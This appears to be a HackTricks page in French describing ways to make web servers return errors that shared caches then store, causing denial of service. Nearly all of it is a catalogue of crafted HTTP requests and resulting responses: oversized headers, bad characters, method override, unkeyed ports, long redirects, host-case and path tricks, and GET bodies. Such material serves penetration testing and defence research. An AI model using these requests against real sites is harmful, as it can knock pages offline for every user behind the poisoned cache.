# Cache Poisoning to DoS {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐩 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} {% hint style="danger" %} Dans cette page, vous pouvez trouver diffĂ©rentes variations pour essayer de faire en sorte que le **serveur web rĂ©ponde avec des erreurs** aux requĂȘtes qui sont **valables pour les serveurs de cache** {% endhint %} * **HTTP Header Oversize (HHO)** Envoyez une requĂȘte avec une taille d'en-tĂȘte supĂ©rieure Ă  celle supportĂ©e par le serveur web mais infĂ©rieure Ă  celle supportĂ©e par le serveur de cache. Le serveur web rĂ©pondra avec une rĂ©ponse 400 qui pourrait ĂȘtre mise en cache : ``` GET / HTTP/1.1 Host: redacted.com X-Oversize-Hedear:Big-Value-000000000000000 ``` * **HTTP Meta Character (HMC) & Valeurs inattendues** Envoyez un en-tĂȘte contenant des **caractĂšres mĂ©ta nuisibles** tels que `\n` et `\r`. Pour que l'attaque fonctionne, vous devez d'abord contourner le cache. ``` GET / HTTP/1.1 Host: redacted.com X-Meta-Hedear:Bad Chars\n \r ``` Un en-tĂȘte mal configurĂ© pourrait ĂȘtre juste `\:` comme en-tĂȘte. Cela pourrait Ă©galement fonctionner si des valeurs inattendues sont envoyĂ©es, comme un Content-Type: inattendu. ``` GET /anas/repos HTTP/2 Host: redacted.com Content-Type: HelloWorld ``` * **En-tĂȘte non clĂ©** Certaines sites web renverront un code d'Ă©tat d'erreur s'ils **voient certains en-tĂȘtes spĂ©cifiques** dans la requĂȘte comme avec l'en-tĂȘte _X-Amz-Website-Location-Redirect: someThing_: ``` GET /app.js HTTP/2 Host: redacted.com X-Amz-Website-Location-Redirect: someThing HTTP/2 403 Forbidden Cache: hit Invalid Header ``` * **HTTP Method Override Attack (HMO)** Si le serveur prend en charge le changement de la mĂ©thode HTTP avec des en-tĂȘtes tels que `X-HTTP-Method-Override`, `X-HTTP-Method` ou `X-Method-Override`. Il est possible de demander une page valide en changeant la mĂ©thode afin que le serveur ne la prenne pas en charge, ce qui entraĂźne la mise en cache d'une mauvaise rĂ©ponse : ``` GET /blogs HTTP/1.1 Host: redacted.com HTTP-Method-Override: POST ``` * **Port non clĂ©** Si le port dans l'en-tĂȘte Host est reflĂ©tĂ© dans la rĂ©ponse et n'est pas inclus dans la clĂ© de cache, il est possible de le rediriger vers un port inutilisĂ© : ``` GET /index.html HTTP/1.1 Host: redacted.com:1 HTTP/1.1 301 Moved Permanently Location: https://redacted.com:1/en/index.html Cache: miss ``` * **Long Redirect DoS** Comme dans l'exemple suivant, x n'est pas mis en cache, donc un attaquant pourrait abuser du comportement de rĂ©ponse de redirection pour faire en sorte que la redirection envoie une URL si grande qu'elle renvoie une erreur. Ensuite, les personnes essayant d'accĂ©der Ă  l'URL sans la clĂ© x non mise en cache recevront la rĂ©ponse d'erreur : ``` GET /login?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com HTTP/1.1 301 Moved Permanently Location: /login/?x=veryLongUrl Cache: hit GET /login/?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com HTTP/1.1 414 Request-URI Too Large CF-Cache-Status: miss ``` * **Normalisation de la casse de l'en-tĂȘte d'hĂŽte** L'en-tĂȘte d'hĂŽte devrait ĂȘtre insensible Ă  la casse, mais certains sites Web s'attendent Ă  ce qu'il soit en minuscules, renvoyant une erreur s'il ne l'est pas : ``` GET /img.png HTTP/1.1 Host: Cdn.redacted.com HTTP/1.1 404 Not Found Cache:miss Not Found ``` * **Normalisation des chemins** Certaines pages renverront des codes d'erreur en envoyant des donnĂ©es URLencode dans le chemin, cependant, le serveur de cache URLdĂ©code le chemin et stocke la rĂ©ponse pour le chemin URLdĂ©codĂ© : ``` GET /api/v1%2e1/user HTTP/1.1 Host: redacted.com HTTP/1.1 404 Not Found Cach:miss Not Found ``` * **Fat Get** Certains serveurs de cache, comme Cloudflare, ou serveurs web, arrĂȘtent les requĂȘtes GET avec un corps, donc cela pourrait ĂȘtre exploitĂ© pour mettre en cache une rĂ©ponse invalide : ``` GET /index.html HTTP/2 Host: redacted.com Content-Length: 3 xyz HTTP/2 403 Forbidden Cache: hit ``` ## RĂ©fĂ©rences * [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52) * [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------) {% hint style="success" %} Apprenez et pratiquez le hacking AWS :[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Apprenez et pratiquez le hacking GCP : [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Soutenir HackTricks * Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)! * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐩 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dĂ©pĂŽts github.
{% endhint %}